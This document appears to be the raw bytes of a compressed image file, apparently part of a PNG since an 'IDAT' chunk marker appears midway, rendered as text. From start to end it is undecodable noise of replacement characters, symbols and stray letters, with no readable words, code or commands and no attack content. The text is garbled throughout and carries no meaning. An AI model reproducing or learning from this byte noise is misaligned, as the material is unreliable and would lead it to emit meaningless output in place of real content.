�%�3�l�,!�ri��A�
F��05;�$�;���$�16:�RL9���1T�e���+��A���@!�ǎ�㣣� ����0�
���
�(���-��]�*ˆ�۩Ͼ�¯� *<F�6@QT�J]�&M2T�Շ�;�0P��p��!L�Lc��adY����a��^~�?��\.a떭8r�(v�ډ��Vc|l�q�e��<yG��^���y����;?�����Z�X���7�?��{�O>��ᡡ\i���RI�`fv��bvj)g|��aLLL`ˊ�}��$x�p��q��7��nX,�v���g�'�A8\�����0��g'mH"�ri��,�1<<��c�� �z��ٹ9mqJգH����c��c�U��h̫Lɻ�tHn����������#�+A��`)��!N�-R R`4��p%RB�Z��U��n��o�^Tk5\r�%���~_��Wp��1Ԫ������& �G&�`vf�7mu\���"#���8�(��c��/��G?��_��_��u��Y�s&�������}��o���r�N�/]J�'���0!���:��D�P�T��J�K���������
�%����_�<g�s�}_R��e�����$�D��MC��A��C�cdl�(B��<%�0i�M����(���q�� �����Uv Ў����uP8ŕL� Ֆ
D�� t��O�Mi�bnfI��R*c||��=#���f� lX���`�,��}��c�M�a�c�����??��#{�cw-�e8'$c劕�]���Y��ךef�i���$��N��C\�QrY��~������5���=!�jY�'���ZX�{+5�{�);���*f}B�?��L)�M�|�^��Ϣ��k}���؉�
9�߹�N0=}�e�@wq����1=zQa�ʕh6��<�E�(��M��n�0;;ە�t!HN �8� '�
\,��T�LLĉ^�K<T;J�M ���8ψ��v�� �lڔO�8cػoZ�&�&�q`��۷��_���>v>�k��91����{
��(*D'l̷�s�$I g�O�!X$�3��|��R��^B����v/z��v��z�|�6{�XJ�!/_�D��YG�Z�.�]vړ]�0�� �~y�1�(�Ø�����raԉ���bÆ
ؿ� <��H����V
BU�P�9T���>�-�6CJ�ٙ��@W��d��:�Z�!�r�H H��m@�� ��I�@�t(]������ʪ�м�T��$X��R�C��}j�(
�u�f���'���uE�Ŗ-[053���>2������|�;�����A����p>�-�N�_t�
�p���( H=3��6,:U�Ӳp��qH!�~���}�B��RBJ�WWe\�g��1�8�,ӟ�`��^j��BBH%"�]/����< ���c�6(�_R[%��ћdN��.7{��m�,'=����_�Kiˬ73=�����oԚ���F�iR��5���#"�/�Z�| @��j})�]��e���q��%���"M���!�f �D~���VV�\�9��u�O�O��NJ�,7����5r�9"�vQ`}�8�?�ϙ"˄ ��+N(K�$y&2b,cB�L7��R�ҍt6A(E�\�����W�*� IDAT{Q����}�!jCu:x YƂW�⦛�{���o��s�A�g���~�K^|q�^��!����*��`d��PP�k>�����{�{�r����-���T��,��i��2�)��W1>1�8N�+��n'h��h�ۈu��8eHC�8g�z���B�ޡR-�x��R�,�m�{�����~�=�uz�=ӫ�lw�AlڼBth��*U��_z �^� ��Ӻ�$�Z�W��P)W �,��Z��P�0�0::�,c���D�y=���0bP �����b�� )�c��tS�B�J�~s2-U{R� �ϛ�\2�=�F� !�9g��J�
�i���-�j����\`lt7m��C����ɗ�A���x�C0y�(���ڷ�՝wj��P<�3Ʋ��W���k?j�Mĥ�]%2���sz�
"�O<�*[��e恤�����̬���2�aa�2U�=I��A;��NR4ui�V��!��ir ���}��r�|�R���;X/8g=���Nu�,�]tȧ"���m�o�R�78~�$6lؐW,��?�9_H6z��TG]H6�}
��Z��1��"ye8�T*��j�2�ٹY���d�A@A��$���~����:D�Җ��(���a*2�u�\v�P���y�)W����C8�ٿ��� �*�&!������T�-@�ϖ����B���o܀�ǎbj�C4\�ö-[��w�$^��W���κu�^.{�K,�&��.�zа#�M�R�kt<�b0n�N��T��J!�|���}�?F����Jmߣ@'D�$�GOR$�Z3sS�X�F WؾO��`"u�Y�y�<|a(�ѳ�@rQ0K��rL�~�%��`%�ɣ�=p-�jo��݃O�c��w�eU<���[� !�I�؎p>��u�1�������_��@mw��R�yB��B)ރ���PB������i�:�d��²�z
Y�"MR��m�~ ��)���4�ɓ�Q��0;=������#��%��R�m����Lt�G�B����D���Rr}n�n�KJ��|D�$��,Sׁpt� �@pѩ*K $g Ȳ�ᇁ�iL=`xh��}/��<��4cW��/߿m����g�v��Y�e'�^��h��̶�f"(H�+Q�ma�6HP��n�� �N�}�O��TgEQk"���� ���Y�t]!����C��)"Q���M���A�佃�,�w�}0�/�|�l���O��?��=?�s�� �Z�������Ilټ �pnzu;�0pu�HI�U=�RM��� H��#��/v�R����0&��J�E`��X�r>�V��u�P
&���XB.
���� A�#�cP��qC����C��9�T�2(Q)ur��p�g���!d'�9T�'�CU�RI�K!��H�/���t�,�p�&M�2
D]�ÚU�q��$�� ��k�"�R;v###W?��c���o��������e�ų
��.����k�K�(�����x#�Z��3�3���,x��ʋn�X�"ӯ8��WE�څ$ːq�L�B��{�n�����AG?�U�g�>ôk��i��kVA�1�mt��}�~?���¹t�� �1�ιYʾ��
�a8p}3@����v�< ���~���^�M/�Ŋ� 8���Lh?P�J������FCK)U$�R�8����&Τ�O���8?^�]*�H��G�c�"w���6��͆Y�K ��h6$��l�ι5�����hi�(�xQ���k ����l�w�6l���N�<�C��>q�'�}�-��j�:c��2���~�!�o�.%(%}�ç]�Y����W�@���.�)A��8�Z�P$)��tԄz`u��}�C�Y`�8��r*b`p��1�Y��-O�4�T��t��B�y���>[d�3��t�⺞��/a�1���6D��]���!�g�k�1<<�\J�@W'%� �� �Z�<Wi
����'
�AC�����H�Z�bW8�
!7��{�F1ۨ ��7.SĭH6 &�[Tk`��}
) )����kB0:2J �u�U@Yz֮]��k�`jz
ǎ���;�~���e�ų�J2��w�n��3�Й |��9�(�D���H ��DV�q�v� NR$�z�� e}0v���>�
��Y��k�
���u�_ۧ;�1k�8q�Zd&�_@�o����e���y�~��Ͻ�/���{�~����t,^�"��i}��w��������]�������w}#P:��b/���E��j�Y�Y�$�0@�Zg�f��\!K! �'�F��^�a��K�[�-v<�ci�j�`�0�M����!u�O��m̥�l0��q}����m�0֦-Y�{&�Vkp� �vҵ|b|��m���v�ލ?��~��/���e�ų�F2�0�7nx٠GF����̢�{��L������L��(�07-�'u������ϕ�!Q&2�uY�vEWř��| �DM��l6�v͚���W��z����߫w_���ؾ�ۯ�A�ΫgBI'O����쿗��W/�tf��w�>�u˩m��:�=��e�T���(��y�M,�L��cc�P�A� zz1c�H2&����2ׄS-�]�}�N_��,�"�X�F���n�R��J��/{�\����D.+ш� �K��i��Qlܸss�8�o_�O��~��[?�e���e#ϻ��m�((�C����P��P��K�t��$Qd"���!��t�{)�
���%�K(T�}Bfע¬߯�E����U���9�
�P�bfv���g�\✠s�xq����,�״����"��Z$���:r�q\P�!qT�SP��/B(TT����p��¡.�SE�t{]C�E�B��z�,�ht�Y�b%�,���(��f������&2��k�"��=H)!Ia/+�懅�5
�Hٗԙ��ƍ�!��/t���� �g:U{qґ[5:}/�P��t9�z(������m݆V���{v��C�[��[oZ�NX\�X�蒫�{�\[L�T |��y��CY����
���oA��|Ca�g�OE"A�����N��)�a�A��| ��K���Y����v^@J�E'�����a��v�kK
��B��X8j�:��8(J�&�a�@��t���g�}ȧ��)�ε]���_OR�E� �����U���>��k�9:6��Ǐ��1�[�di��� =vBp���t2a
!;!����ň62Н�N?zÆ�N���v�K)�A�}�I�����&ʘ��b]`�åDY=9Q5Q�&I:����)%$����n_S�ױm�v<��c�+�z�G����v�������� ��F2����a!!�k��\�P�z�t&ݽ]�i(�;m�{����E�}�-~�%������_~�^����Q �v��J�ѩz�b�}�����E
���{AB23��S[�Ϻ�/-�m����̠�)�b��$\*�כ�:��=����o��cX���%E�p�G���˿<�x����>�v똖z�P�sw1B)ea��k�;uΐ(0\���� :����e�C5�LOR I��|z�V j�Yeɀ�w��EL�wA
IL��~W}%&e��XQ@�0T]�ո�� \
�C���p��C��Є%�L
c�0n泉A�+e\z��س{:����o�Ç��ã��ۿ����V�u�]__�~�=�*H��,A�̴KE����|��&�����t�w
�ĩڑ���3Hv�:-�Q�ӟ�G��
��8��g]��&q�]?��|�?h�'��Mia�HNlL*�1�c�{�6oE;U������Y�`!� �Y�ʗP�[l�W�\\����x���/a�Wx7�Y
Y��XLNeř�����L>k_̬�8�03;�q�:���h��������K4!��+�� �Cg{��.]YW����ZT��Զ�E�B
�`G��H��&[����� ��V�=di���v"�Cl_��ޏ�����7����Snl�DzY2V�Xq�yo�Gs�w'�Z���]�[>�~uE}rH��3��"�X��u8�8^w��V��bj��������E��ǡ� a"��q�����%r�r��ZAk)�"D��$�kw�]��a�Կ���R����X��/V��\Bv���S��t�!�����0����b���:M�Rw��S$z�`V���m$q��*��w�I�e�� �J�s���:��m�V��g
�q����.��z3�"���J!4��ݮ F�tWŕD�B�|�ࠎ��q)�
i2�J���ޢ�DJ8����6g��c۶��裏��}{����RJ�;�}��x,��7��ҿ����WgP7� �1�{���B��3���E��3��,�RQ�E�f������Q�H@c=�Cu5���]��E۷C�nwOq�o� �0S*�b���`�A�p>S�UwU��>
��r�:иsu��}��;�b��z��_��}�z��F�����˥������m[�.��ع�MP��'&�gᘤ�]�p��7},�"_�hB01>�#G&�e,߯��>�h�1�Q�2$q_
�K$�V�q� d�l�h���^����GD������*!@$��"�]ՙC �$�:n~�)��˜,:Z
��,�h�a�K/�O�ٍ=�w�57����uWj-�B2֮^�r��Q�t�����KG����"�t��F�u�F�@ɵ4O�L���G�5�v�z{P �<�{C�t���P�o|���^��s�:Z�� �t=�0�]ؓ.��:��Xu�\�o�Ͼ�62ԋ=�sz��t�I%��8C����l��쬌�KJ(c*'TX��@�1di�*l�/"c`R%hK�,�`B��ic!%B?��3(��c���y~n�����\8��ȥ ���z�<��"M3���J�� Q�"�Q�0*�2|�G(�*(WJ(����<��K�f\t����yM4H�=u������0�;��'2C�KҔa�>�)>�3x�]J �¯���@�dn��J�W[1�.�F[3�4�b��J�ʷK�ܢ!z]'�)�,�5$�Q���`�0D�
)�ˇK ״}
k��Dؾm;~��G��������,��-��X���z����K:J���As���s��Y�u>�,#fF�M��w�f!J4f��g�d����rb� �� ��K/����mCv��SO>�Z��j=�[�g�"i�\�ɛ�~�x`�Pǖr��0* g� S)���sdi�%X��0f��!���3���q(J����h���7�Ҏ%�t��z~��QJ�\׃�Qa �¡��¡N�K!��BQ)ɭ4g�Ԙ�iG�j,Rj0-����c��W�7��epz�,ː1u~��=cS�0���ͣC��B��F�e����$ʟ�j���|����0���0::�
6`��X�v-��u�J%,�;��Np!�a���LOO��D����ʘ�k*Q%%�m��"�(tK@�ȅ�@�2Q�I/[�m�\?�,lG�v�
��,�Je��X&